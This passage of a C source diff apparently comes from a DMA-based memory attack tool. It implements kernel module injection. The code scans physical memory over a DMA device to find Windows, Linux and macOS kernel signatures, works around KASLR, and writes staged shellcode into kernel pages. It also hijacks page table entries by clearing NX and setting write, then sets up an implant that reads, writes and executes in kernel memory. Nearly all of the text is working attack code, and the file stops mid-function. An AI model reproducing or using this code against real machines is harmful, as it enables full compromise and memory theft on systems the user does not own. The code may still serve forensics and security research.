ReservedFutureUse2[252]; + CHAR dataOutStr[MAX_PATH]; // [0x600] string out-data + CHAR ReservedFutureUse3[252]; + QWORD ReservedFutureUse4[255]; // [0x800] + QWORD _op; // [0xFF8] (op is last 8 bytes in 4k-page) +} KMDDATA, *PKMDDATA; + +typedef struct tdKMDHANDLE_S12 { + DWORD dwPageAddr32; + DWORD dwPageOffset; + BYTE pbOrig[4096]; + BYTE pbPatch[4096]; + BYTE pbLatest[4096]; + QWORD qwPTE; + QWORD qwPTEOrig; + QWORD qwPTEAddrPhys; +} KMDHANDLE_S12, *PKMDHANDLE_S12; + +typedef struct tdKMDHANDLE { + DWORD dwPageAddr32; + QWORD cPhysicalMap; + PPHYSICAL_MEMORY_RANGE pPhysicalMap; + PKMDDATA status; + BYTE pbPageData[4096]; +} KMDHANDLE, *PKMDHANDLE; + +typedef struct tdKERNELSEEKER { + PBYTE pbSeek; + DWORD cbSeek; + DWORD aSeek; + DWORD aTableEntry; + QWORD vaSeek; + QWORD vaFn; +} KERNELSEEKER, *PKERNELSEEKER; + +#define KMD_CMD_VOID 0xffff +#define KMD_CMD_COMPLETED 0 +#define KMD_CMD_READ 1 +#define KMD_CMD_WRITE 2 +#define KMD_CMD_TERMINATE 3 +#define KMD_CMD_MEM_INFO 4 +#define KMD_CMD_EXEC 5 +#define KMD_CMD_READ_VA 6 +#define KMD_CMD_WRITE_VA 7 + +#define STAGE1_OFFSET_CALL_ADD 1 +#define STAGE2_OFFSET_STAGE3_PHYSADDR 4 +#define STAGE2_OFFSET_FN_STAGE1_ORIG 8 +#define STAGE2_OFFSET_EXTRADATA1 16 + +//------------------------------------------------------------------------------- +// Signature mathing below. +//------------------------------------------------------------------------------- + +HRESULT KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ DWORD dwAddrBase, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatch) +{ + PBYTE pb; + DWORD pgIdx, i, j; + PSIGNATURE ps; + QWORD qwAddressCurrent; + for(pgIdx = 0; pgIdx < cPages; pgIdx++) { + pb = pbPages + (4096 * pgIdx); + qwAddressCurrent = dwAddrBase + (4096 * pgIdx); + for(i = 0; i < cSignatures; i++) { + ps = pSignatures + i; + for(j = 0; j < 2; j++) { + if(ps->chunk[j].qwAddress) { // already processed and found - continue + continue; + } + if((ps->chunk[j].cbOffset > 0xfff) && ((ps->chunk[j].cbOffset & ~0xfff) != qwAddressCurrent)) { + continue; + } + if(!ps->chunk[j].cb || !memcmp(pb + (ps->chunk[j].cbOffset & 0xfff), ps->chunk[j].pb, ps->chunk[j].cb)) { + ps->chunk[j].cb = 4096; + memcpy(ps->chunk[j].pb, pb, 4096); + ps->chunk[j].qwAddress = qwAddressCurrent; + } + } + if(ps->chunk[0].qwAddress && ps->chunk[1].qwAddress) { + *pdwSignatureMatch = i; + return S_OK; + } + } + } + return E_FAIL; +} + +HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx) +{ + QWORD qwAddrCurrent = 0x100000; + PBYTE pbBuffer8M = LocalAlloc(0, 0x800000); + HRESULT hr; + PAGE_STATISTICS pageStat; + // initialize / allocate memory / load signatures + if(!pbBuffer8M) { + return E_OUTOFMEMORY; + } + memset(&pageStat, 0, sizeof(PAGE_STATISTICS)); + pageStat.cPageTotal = 0x00100000; + pageStat.cPageFail = 256; + pageStat.szCurrentAction = "Searching for KMD location"; + pageStat.qwTickCountStart = GetTickCount64(); + // loop kmd-find + while(qwAddrCurrent < pCfg->qwAddrMax && qwAddrCurrent < 0xffffffff) { + ShowUpdatePageRead(pCfg, qwAddrCurrent, &pageStat); + if(DeviceReadDMA(pDeviceData, (DWORD)qwAddrCurrent, pbBuffer8M, 0x800000)) { + pageStat.cPageSuccess += 2048; + hr = KMD_FindSignature2(pbBuffer8M, 2048, (DWORD)qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx); + if(SUCCEEDED(hr)) { + LocalFree(pbBuffer8M); + pageStat.szCurrentAction = "Waiting for KMD to activate"; + ShowUpdatePageRead(pCfg, qwAddrCurrent, &pageStat); + return S_OK; + } + } else { + pageStat.cPageFail += 2048; + } + qwAddrCurrent += 0x800000; + } + LocalFree(pbBuffer8M); + return E_FAIL; +} + +//------------------------------------------------------------------------------- +// OSX generic kernel seek below. +//------------------------------------------------------------------------------- + +BOOL KMD_AppleIsKernelAddress(_In_ PBYTE pbPage) +{ + BOOL isFoundKEXT = FALSE, isFoundBootPT = FALSE; + DWORD i; + if(*(PDWORD)pbPage != 0xfeedfacf) { return FALSE; } // mach_header_64 magic + if(*(PDWORD)(pbPage + 4) != 0x01000007) { return FALSE; } // mach_header_64 cputype + // search for kernel header data (eliminate other macho-headers) + for(i = 0x20; i < 0xfc0; i += 8) { + if(*(PQWORD)(pbPage + i) == 0x00737478656B5F5F) { // __kexts + isFoundKEXT = TRUE; + } + if(*(PQWORD)(pbPage + i) == 0x5450746f6F625F5F) { // __bootPT + isFoundBootPT = TRUE; + } + } + return isFoundKEXT && isFoundBootPT; +} + +BOOL KMD_AppleKernelGetBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PDWORD pdwKernelBase, _Out_ PDWORD pdwTextHIB, _Out_ PDWORD pcbTextHIB) +{ + BYTE pbPage[4096]; + DWORD i, cKSlide; + for(cKSlide = 1; cKSlide <= 512; cKSlide++) { + *pdwKernelBase = cKSlide * 0x00200000; // KASLR = ([RND:1..512] * 0x00200000) + if(!DeviceReadDMARetryOnFail(pDeviceData, *pdwKernelBase, pbPage, 4096)) { + printf("KMD: Failed. Error reading address: 0x%08x\n", *pdwKernelBase); + return FALSE; + } + if(KMD_AppleIsKernelAddress(pbPage)) { + for(i = 0x20; i < 0xfc0; i += 8) { + if(*(PQWORD)(pbPage + i) == 0x0000747865745F5F && *(PQWORD)(pbPage + i + 0x10) == 0x0000004249485F5F) { // __text && __HIB + *pdwTextHIB = (DWORD)*(PQWORD)(pbPage + i + 0x20); + *pcbTextHIB = (DWORD)*(PQWORD)(pbPage + i + 0x28); + return TRUE; + } + } + } + } + return FALSE; +} + +BOOL KMD_AppleKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature) +{ + const BYTE SIGNATURE_BCOPY[] = { + 0x48, 0x87, 0xF7, 0x48, 0x89, 0xD1, 0x48, 0x89, 0xF8, 0x48, 0x29, 0xF0, 0x48, 0x39, 0xC8, 0x72 }; + DWORD i, dwKernelBase, dwTextHIB, cbTextHIB; + PBYTE pbTextHIB; + if(!KMD_AppleKernelGetBase(pCfg, pDeviceData, &dwKernelBase, &dwTextHIB, &cbTextHIB)) { + return FALSE; + } + cbTextHIB = (cbTextHIB + 0xfff) & 0xfffff000; + pbTextHIB = LocalAlloc(0, cbTextHIB); + if(!pbTextHIB) { return FALSE; } + if(!DeviceReadDMARetryOnFail(pDeviceData, dwTextHIB, pbTextHIB, cbTextHIB)) { + LocalFree(pbTextHIB); + return FALSE; + } + for(i = 0; i < cbTextHIB - 0x300; i++) { + if(0 == memcmp(pbTextHIB + i, SIGNATURE_BCOPY, 16)) { + Util_CreateSignatureAppleGeneric(dwKernelBase, dwTextHIB + i, dwTextHIB + cbTextHIB - 0x300, pSignature); + LocalFree(pbTextHIB); + return TRUE; + } + } + LocalFree(pbTextHIB); + return FALSE; +} + +//------------------------------------------------------------------------------- +// LINUX generic kernel seek below. +//------------------------------------------------------------------------------- + +BOOL KMD_LinuxIsAllAddrFoundSeek(_In_ PKERNELSEEKER pS, _In_ DWORD cS) +{ + for(DWORD j = 0; j < cS; j++) { + if(!pS[j].aSeek) { + return FALSE; + } + } + return TRUE; +} + +BOOL KMD_LinuxIsAllAddrFoundTableEntry(_In_ PKERNELSEEKER pS, _In_ DWORD cS) +{ + for(DWORD j = 0; j < cS; j++) { + if(!pS[j].aTableEntry) { + return FALSE; + } + } + return TRUE; +} + +BOOL KMD_LinuxFindFunctionAddr(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEKER pS, _In_ DWORD cS) +{ + DWORD o, i; + for(o = 0; o < cb - 0x1000; o++) { + for(i = 0; i < cS; i++) { + if(!pS[i].aSeek && !memcmp(pb + o, pS[i].pbSeek, pS[i].cbSeek)) { + pS[i].aSeek = o + 1; + if(KMD_LinuxIsAllAddrFoundSeek(pS, cS)) { + return TRUE; + } + } + } + } + return FALSE; +} + +BOOL KMD_LinuxFindFunctionAddrTBL(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEKER pS, _In_ DWORD cS) +{ + DWORD o, i; + for(o = 0x1000; o < cb - 0x1000; o = o + 8) { + if(((*(PQWORD)(pb + o) & 0xffffffff00000000) == 0xffffffff00000000) && ((*(PQWORD)(pb + o - 8) & 0xffffffff00000000) == 0xffffffff00000000)) { // kernel addr ptr + for(i = 0; i < cS; i++) { + if(!pS[i].aTableEntry && + ((*(PQWORD)(pb + o) & 0x1fffff) == (0x1fffff & pS[i].aSeek)) && // KASLR align on 2MB boundries (0x1fffff) + ((*(PQWORD)(pb + o) & ~0x1fffff) != (*(PQWORD)(pb + o - 8) & ~0x1fffff))) // several tables may exists - skip symbol name table + { + pS[i].aTableEntry = o; + pS[i].vaSeek = *(PQWORD)(pb + o); + pS[i].vaFn = *(PQWORD)(pb + o - 8); + if(KMD_LinuxIsAllAddrFoundTableEntry(pS, cS)) { + return TRUE; + } + } + } + } + } + return FALSE; +} + +#define CONFIG_LINUX_SEEK_BUFFER_SIZE 0x01000000 +#define CONFIG_LINUX_SEEK_CKSLIDES 512 +BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature) +{ + BOOL result; + KERNELSEEKER ks[2] = { + { .pbSeek = "\0kallsyms_lookup_name",.cbSeek = 22 }, + { .pbSeek = "\0vfs_read",.cbSeek = 10 } + }; + DWORD cKSlide, dwKernelBase; + PBYTE pb = LocalAlloc(0, CONFIG_LINUX_SEEK_BUFFER_SIZE); + if(!pb) { return FALSE; } + for(cKSlide = 0; cKSlide < CONFIG_LINUX_SEEK_CKSLIDES; cKSlide++) { + // calculate the kernel base (@16M if no KASLR, @2M offsets if KASLR). + // read 16M of memory first, if KASLR read 2M chunks at top of analysis buffer (performance reasons). + dwKernelBase = 0x01000000 + cKSlide * 0x00200000; // KASLR = 16M + ([RND:0..511] * 2M) ??? + if(cKSlide == 0) { + DeviceReadDMARetryOnFail(pDeviceData, dwKernelBase, pb, 0x01000000); + } else { + memmove(pb, pb + 0x00200000, CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000); + result = DeviceReadDMARetryOnFail( + pDeviceData, + dwKernelBase + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000, + pb + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000, + 0x00200000); + } + result = + KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2) && + KMD_LinuxFindFunctionAddrTBL(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2); + if(result) { + Util_CreateSignatureLinuxGeneric(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature); + break; + } + } + LocalFree(pb); + return result; +} + +//------------------------------------------------------------------------------- +// KMD command function below. +//------------------------------------------------------------------------------- + +BOOL KMD_IsRangeInPhysicalMap(_In_ PKMDHANDLE phKMD, _In_ QWORD qwBaseAddress, _In_ QWORD qwNumberOfBytes) +{ + PHYSICAL_MEMORY_RANGE pmr; + for(QWORD i = 0; i < phKMD->cPhysicalMap; i++) { + pmr = phKMD->pPhysicalMap[i]; + if(((pmr.BaseAddress <= qwBaseAddress) && (pmr.BaseAddress + pmr.NumberOfBytes > qwBaseAddress + qwNumberOfBytes))) { + return TRUE; + } + } + return FALSE; +} + +BOOL KMD_SubmitCommand(_In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD, _In_ QWORD op) +{ + phKMD->status->_op = op; + if(!DeviceWriteDMA(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096)) { + return FALSE; + } + do { + //Sleep(100); + if(!DeviceReadDMARetryOnFail(pDeviceData, phKMD->dwPageAddr32, phKMD->pbPageData, 4096)) { + return FALSE; + } + } while(((phKMD->status->_op != KMD_CMD_COMPLETED) || (phKMD->status->_status != 1)) && phKMD->status->_status < 0x0fffffff); + return TRUE; +} + +BOOL KMD_GetPhysicalMemoryMap(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD) +{ + QWORD qwMaxMemoryAddress; + KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_MEM_INFO); + if(!phKMD->status->_result || !phKMD->status->_size) { + return FALSE; + } + phKMD->pPhysicalMap = LocalAlloc(LMEM_ZEROINIT, (phKMD->status->_size + 0x1000) & 0xfffff000); + if(!phKMD->pPhysicalMap) { return FALSE; } + DeviceReadDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, (PBYTE)phKMD->pPhysicalMap, (DWORD)((phKMD->status->_size + 0x1000) & 0xfffff000)); + phKMD->cPhysicalMap = phKMD->status->_size / sizeof(PHYSICAL_MEMORY_RANGE); + // adjust max memory according to physical memory + qwMaxMemoryAddress = phKMD->pPhysicalMap[phKMD->cPhysicalMap - 1].BaseAddress; + qwMaxMemoryAddress += phKMD->pPhysicalMap[phKMD->cPhysicalMap - 1].NumberOfBytes; + if(pCfg->qwAddrMax > qwMaxMemoryAddress) { + pCfg->qwAddrMax = qwMaxMemoryAddress - 1; + } + return TRUE; +} + +BOOL KMDReadMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb) +{ + BOOL result; + PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle; + if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb)) { + if(cb <= 0x1000) { // Return blank memory and ok on 1 page read (smallest unit) if not in physical map. + memset(pb, 0, cb); + return TRUE; + } + return FALSE; + } + phKMD->status->_size = cb; + phKMD->status->_address = qwAddress; + result = KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_VOID); + if(!result) { return FALSE; } + result = KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_READ); + if(!result) { return FALSE; } + return DeviceReadDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pb, cb); +} + +BOOL KMDWriteMemory_DMABufferSized(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _In_ PBYTE pb, _In_ DWORD cb) +{ + BOOL result; + PKMDHANDLE phKMD = (PKMDHANDLE)pDeviceData->KMDHandle; + if(!KMD_IsRangeInPhysicalMap(phKMD, qwAddress, cb)) { return E_FAIL; } + result = DeviceWriteDMA(pDeviceData, (DWORD)phKMD->status->DMAAddrPhysical, pb, cb); + if(!result) { return FALSE; } + phKMD->status->_size = cb; + phKMD->status->_address = qwAddress; + result = KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_VOID); + if(!result) { return FALSE; } + return KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_WRITE); +} + +BOOL KMDReadMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb) +{ + DWORD dwDMABufferSize = (DWORD)((PKMDHANDLE)pDeviceData->KMDHandle)->status->DMASizeBuffer; + DWORD o = cb; + dwDMABufferSize = dwDMABufferSize ? dwDMABufferSize : 0x01000000; + while(TRUE) { + if(o <= dwDMABufferSize) { + return KMDReadMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, o); + } else if(!KMDReadMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) { + return FALSE; + } + o -= dwDMABufferSize; + } +} + +BOOL KMDWriteMemory(_In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwAddress, _Out_ PBYTE pb, _In_ DWORD cb) +{ + DWORD dwDMABufferSize = (DWORD)((PKMDHANDLE)pDeviceData->KMDHandle)->status->DMASizeBuffer; + DWORD o = cb; + dwDMABufferSize = dwDMABufferSize ? dwDMABufferSize : 0x01000000; + while(TRUE) { + if(o <= dwDMABufferSize) { + return KMDWriteMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, o); + } else if(!KMDWriteMemory_DMABufferSized(pDeviceData, qwAddress + cb - o, pb + cb - o, dwDMABufferSize)) { + return FALSE; + } + o -= dwDMABufferSize; + } +} + +VOID KMDClose(_In_ PDEVICE_DATA pDeviceData) +{ + PKMDHANDLE phKMD; + if(pDeviceData->KMDHandle) { + phKMD = (PKMDHANDLE)pDeviceData->KMDHandle; + KMD_SubmitCommand(pDeviceData, phKMD, KMD_CMD_TERMINATE); + LocalFree(pDeviceData->KMDHandle); + pDeviceData->KMDHandle = NULL; + } +} + +BOOL KMDOpen_MemoryScan(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + SIGNATURE oSignatures[CONFIG_MAX_SIGNATURES]; + PSIGNATURE pSignature; + DWORD dwSignatureMatchIdx, cSignatures = CONFIG_MAX_SIGNATURES; + HRESULT hr; + PKMDHANDLE_S12 ph1 = NULL, ph2 = NULL; + PDWORD pdwPhysicalAddress; + PKMDHANDLE pKMD = NULL; + if(!(ph1 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; } + if(!(ph2 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; } + //------------------------------------------------ + // 1: Load signature + //------------------------------------------------ + if(0 == _stricmp(pCfg->szKMDName, "LINUX_X64")) { + if(!KMD_LinuxKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) { + printf("KMD: Failed. Error locating generic linux kernel signature.\n"); + goto fail; + } + pSignature = &oSignatures[0]; + } else if(0 == _stricmp(pCfg->szKMDName, "OSX_X64")) { + if(!KMD_AppleKernelSeekSignature(pCfg, pDeviceData, &oSignatures[0])) { + printf("KMD: Failed. Error locating generic OSX kernel signature.\n"); + goto fail; + } + pSignature = &oSignatures[0]; + } else { + if(!Util_LoadSignatures(pCfg->szKMDName, ".kmd", oSignatures, &cSignatures, 5)) { + printf("KMD: Failed. Error loading signatures.\n"); + goto fail; + } + //------------------------------------------------ + // 2: Locate patch location (scan memory). + //------------------------------------------------ + hr = KMD_FindSignature1(pCfg, pDeviceData, oSignatures, cSignatures, &dwSignatureMatchIdx); + if(FAILED(hr)) { + printf("KMD: Failed. Could not find signature in memory.\n"); + goto fail; + } + pSignature = &oSignatures[dwSignatureMatchIdx]; + } + if(!pSignature->chunk[2].cb || !pSignature->chunk[3].cb) { + printf("KMD: Failed. Error loading shellcode.\n"); + goto fail; + } + //------------------------------------------------ + // 3: Set up patch data. + //------------------------------------------------ + ph1->dwPageAddr32 = (DWORD)pSignature->chunk[0].qwAddress; + ph2->dwPageAddr32 = (DWORD)pSignature->chunk[1].qwAddress; + ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset; + ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset; + DeviceReadDMARetryOnFail(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096); + DeviceReadDMARetryOnFail(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + memcpy(ph1->pbPatch, ph1->pbOrig, 4096); + memcpy(ph2->pbPatch, ph2->pbOrig, 4096); + memcpy(ph1->pbPatch + ph1->dwPageOffset, pSignature->chunk[2].pb, pSignature->chunk[2].cb); + memcpy(ph2->pbPatch + ph2->dwPageOffset, pSignature->chunk[3].pb, pSignature->chunk[3].cb); + // patch jump offset in stage1 + *(PDWORD)(ph1->pbPatch + ph1->dwPageOffset + STAGE1_OFFSET_CALL_ADD) += pSignature->chunk[3].cbOffset - pSignature->chunk[2].cbOffset; + // patch original stage1 data in stage2 (needed for stage1 restore) + memcpy(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_FN_STAGE1_ORIG, ph1->pbOrig + ph1->dwPageOffset, 8); + // patch offset to extra function relative to stage2 entry point: windows = n/a, linux=kallsyms_lookup_name, mac=kernel_mach-o_header + *(PDWORD)(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_EXTRADATA1) = pSignature->chunk[4].cbOffset - pSignature->chunk[3].cbOffset; + //------------------------------------------------ + // 4: Write patched data to memory. + //------------------------------------------------ + if(!DeviceWriteDMAVerify(pDeviceData, ph2->dwPageAddr32, ph2->pbPatch, 4096)) { + printf("KMD: Failed. Signature found but unable write #2.\n"); + goto fail; + } + if(!DeviceWriteDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbPatch, 4096)) { // stage1 (must be written after stage2) + printf("KMD: Failed. Signature found but unable write #1.\n"); + goto fail; + } + printf("KMD: Code inserted into the kernel - Waiting to receive execution.\n"); + //------------------------------------------------ + // 5: wait for patch to reveive execution. + //------------------------------------------------ + pdwPhysicalAddress = (PDWORD)(ph2->pbLatest + ph2->dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR); + do { + Sleep(100); + if(!DeviceReadDMARetryOnFail(pDeviceData, ph2->dwPageAddr32, ph2->pbLatest, 4096)) { + printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); + goto fail; + } + } while(!*pdwPhysicalAddress); + printf("KMD: Execution received - continuing ...\n"); + //------------------------------------------------ + // 6: Restore hooks to original. + //------------------------------------------------ + DeviceWriteDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + //------------------------------------------------ + // 7: Set up kernel module shellcode (stage3) + //------------------------------------------------ + if(*pdwPhysicalAddress == 0xffffffff) { + printf("KMD: Failed. Stage2 shellcode error.\n"); + goto fail; + } + DeviceWriteDMA(pDeviceData, *pdwPhysicalAddress + 0x1000, pSignature->chunk[4].pb, 4096); + if(!(pKMD = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE)))) { goto fail; } + pKMD->dwPageAddr32 = *pdwPhysicalAddress; + pKMD->status = (PKMDDATA)pKMD->pbPageData; + DeviceReadDMA(pDeviceData, pKMD->dwPageAddr32, pKMD->pbPageData, 4096); + //------------------------------------------------ + // 8: Retrieve physical memory range map and complete open action. + //------------------------------------------------ + if(!KMD_GetPhysicalMemoryMap(pCfg, pDeviceData, pKMD)) { + printf("KMD: Failed. Failed to retrieve physical memory map.\n"); + goto fail; + } + LocalFree(ph1); + LocalFree(ph2); + pDeviceData->KMDHandle = (HANDLE)pKMD; + if(pCfg->tpAction == KMDLOAD) { pCfg->qwKMD = pKMD->dwPageAddr32; } + return TRUE; +fail: + if(ph1) { LocalFree(ph1); } + if(ph2) { LocalFree(ph2); } + if(pKMD) { LocalFree(pKMD); } + return FALSE; +} + +BOOL KMDOpen_PageTableHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData) +{ + QWORD qwCR3 = pCfg->qwCR3; + QWORD qwModuleBase; + SIGNATURE oSignatures[CONFIG_MAX_SIGNATURES]; + PSIGNATURE pSignature; + DWORD cSignatures = CONFIG_MAX_SIGNATURES; + PKMDHANDLE_S12 ph1 = NULL, ph2 = NULL; + PSIGNATUREPTE pSignaturePTEs; + QWORD cSignaturePTEs; + PKMDHANDLE pKMD = NULL; + PDWORD pdwPhysicalAddress; + BOOL result; + //------------------------------------------------ + // 1: Load signature and patch data. + //------------------------------------------------ + result = Util_LoadSignatures(pCfg->szKMDName, ".kmd", oSignatures, &cSignatures, 6); + if(!result) { + printf("KMD: Failed. Error loading signatures.\n"); + goto fail; + } + if(cSignatures != 1) { + printf("KMD: Failed. Singature count differs from 1. Exactly one signature must be loaded.\n"); + goto fail; + } + pSignature = &oSignatures[0]; + if(pSignature->chunk[0].cb != 4096 || pSignature->chunk[1].cb != 4096) { + printf("KMD: Failed. Signatures in PTE mode must be 4096 bytes long.\n"); + goto fail; + } + pSignaturePTEs = (PSIGNATUREPTE)pSignature->chunk[5].pb; + cSignaturePTEs = pSignature->chunk[5].cb / sizeof(SIGNATUREPTE); + if(!(ph1 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; } + if(!(ph2 = LocalAlloc(LMEM_ZEROINIT, sizeof(KMDHANDLE_S12)))) { goto fail; } + //------------------------------------------------ + // 2: Locate patch location PTEs. + //------------------------------------------------ + if(pCfg->fPageTableScan) { + printf("KMD: Searching for PTE location ...\n"); + } + result = Util_PageTable_FindSignatureBase(pCfg, pDeviceData, &qwCR3, pSignaturePTEs, cSignaturePTEs, &qwModuleBase); + if(!result) { + printf("KMD: Failed. Could not find module base by PTE search.\n"); + goto fail; + } + result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwCR3, qwModuleBase + pSignature->chunk[2].cbOffset, &ph1->qwPTEOrig, &ph1->qwPTEAddrPhys); + if(!result) { + printf("KMD: Failed. Could not access PTE #1.\n"); + goto fail; + } + result = Util_PageTable_ReadPTE(pCfg, pDeviceData, qwCR3, qwModuleBase + pSignature->chunk[3].cbOffset, &ph2->qwPTEOrig, &ph2->qwPTEAddrPhys); + if(!result) { + printf("KMD: Failed. Could not access PTE #2.\n"); + goto fail; + } + //------------------------------------------------ + // 3: Set up patch data. + //------------------------------------------------ + // hijack "random" page in memory if target page is above 4GB - dangerous!!! + ph1->dwPageAddr32 = (ph1->qwPTEOrig < 0x100000000) ? (ph1->qwPTEOrig & 0xfffff000) : 0x90000; + ph2->dwPageAddr32 = (ph2->qwPTEOrig < 0x100000000) ? (ph2->qwPTEOrig & 0xfffff000) : 0x91000; + ph1->dwPageOffset = 0xfff & pSignature->chunk[2].cbOffset; + ph2->dwPageOffset = 0xfff & pSignature->chunk[3].cbOffset; + memcpy(ph1->pbPatch, pSignature->chunk[0].pb, 4096); + memcpy(ph2->pbPatch, pSignature->chunk[1].pb, 4096); + memcpy(ph1->pbPatch + ph1->dwPageOffset, pSignature->chunk[2].pb, pSignature->chunk[2].cb); + memcpy(ph2->pbPatch + ph2->dwPageOffset, pSignature->chunk[3].pb, pSignature->chunk[3].cb); + // patch jump offset in stage1 + *(PDWORD)(ph1->pbPatch + ph1->dwPageOffset + STAGE1_OFFSET_CALL_ADD) += pSignature->chunk[3].cbOffset - pSignature->chunk[2].cbOffset; + // patch original stage1 data in stage2 (needed for stage1 restore) + memcpy(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_FN_STAGE1_ORIG, pSignature->chunk[0].pb + ph1->dwPageOffset, 8); + // patch offset to extra function relative to stage2 entry point: windows = n/a, linux=kallsyms_lookup_name + *(PDWORD)(ph2->pbPatch + ph2->dwPageOffset + STAGE2_OFFSET_EXTRADATA1) = pSignature->chunk[4].cbOffset - pSignature->chunk[3].cbOffset; + // calculate new PTEs + ph1->qwPTE = 0x7ff0000000000fff & ph1->qwPTEOrig; // Strip NX-bit and previous physical address + ph2->qwPTE = 0x7ff0000000000fff & ph2->qwPTEOrig; // Strip NX-bit and previous physical address + ph1->qwPTE |= 0x00000002; // set write + ph2->qwPTE |= 0x00000002; // set write + ph1->qwPTE |= 0xfffff000 & ph1->dwPageAddr32; + ph2->qwPTE |= 0xfffff000 & ph2->dwPageAddr32; + //------------------------------------------------ + // 4: Write patched data and PTEs to memory. + //------------------------------------------------ + DeviceReadDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096); + DeviceReadDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + if(!DeviceWriteDMAVerify(pDeviceData, ph2->dwPageAddr32, ph2->pbPatch, 4096) || + !DeviceWriteDMAVerify(pDeviceData, ph1->dwPageAddr32, ph1->pbPatch, 4096)) { + printf("KMD: Failed. Signature found but unable write.\n"); + goto fail; + } + DeviceWriteDMA(pDeviceData, (DWORD)ph2->qwPTEAddrPhys, (PBYTE)&ph2->qwPTE, sizeof(QWORD)); + Sleep(250); + DeviceWriteDMA(pDeviceData, (DWORD)ph1->qwPTEAddrPhys, (PBYTE)&ph1->qwPTE, sizeof(QWORD)); + //------------------------------------------------ + // 5: wait for patch to reveive execution. + //------------------------------------------------ + printf("KMD: Page Table hijacked - Waiting to receive execution.\n"); + pdwPhysicalAddress = (PDWORD)(ph2->pbLatest + ph2->dwPageOffset + STAGE2_OFFSET_STAGE3_PHYSADDR); + do { + Sleep(100); + if(!DeviceReadDMARetryOnFail(pDeviceData, ph2->dwPageAddr32, ph2->pbLatest, 4096)) { + printf("KMD: Failed. DMA Read failed while waiting to receive physical address.\n"); + goto fail; + } + } while(!*pdwPhysicalAddress); + printf("KMD: Execution received - continuing ...\n"); + //------------------------------------------------ + // 6: Restore hijacked memory pages. + //------------------------------------------------ + DeviceWriteDMA(pDeviceData, (DWORD)ph1->qwPTEAddrPhys, (PBYTE)&ph1->qwPTEOrig, sizeof(QWORD)); + DeviceWriteDMA(pDeviceData, (DWORD)ph2->qwPTEAddrPhys, (PBYTE)&ph2->qwPTEOrig, sizeof(QWORD)); + Sleep(100); + DeviceWriteDMA(pDeviceData, ph1->dwPageAddr32, ph1->pbOrig, 4096); + DeviceWriteDMA(pDeviceData, ph2->dwPageAddr32, ph2->pbOrig, 4096); + //------------------------------------------------ + // 7: Set up kernel module shellcode (stage3) + //------------------------------------------------ + if(*pdwPhysicalAddress == 0xffffffff) { + printf("KMD: Failed. Stage2 shellcode error.\n"); + goto fail; 